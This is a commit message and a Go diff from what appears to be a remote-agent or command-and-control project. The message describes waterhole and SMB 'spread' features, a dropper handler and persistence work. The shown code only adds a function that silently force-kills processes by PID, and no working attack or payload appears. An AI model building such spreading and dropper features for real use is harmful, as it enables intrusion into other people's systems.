feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e

Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.

agent/client/kill_process.go

@@ -0,0 +1,28 @@
+package client
+
+import (
+	"fmt"
+	"os/exec"
+	"runtime"
+	"strconv"
+	"strings"
+)
+
+func killProcessByPID(pidStr string) (bool, string) {
+	pid, err := strconv.Atoi(strings.TrimSpace(pidStr))
+	if err != nil || pid <= 0 {
+		return false, "invalid pid: " + pidStr
+	}
+	if runtime.GOOS == "windows" {
+		out, err := silentCombinedOutput("taskkill", "/F", "/PID", fmt.Sprintf("%d", pid))
+		if err != nil {
+			return false, formatCmdErr(err, out)
+		}
+		return true, strings.TrimSpace(string(out))
+	}
+	out, err := exec.Command("kill", "-9", fmt.Sprintf("%d", pid)).CombinedOutput()
+	if err != nil {
+		return false, formatCmdErr(err, out)
+	}
+	return true, strings.TrimSpace(string(out))
+}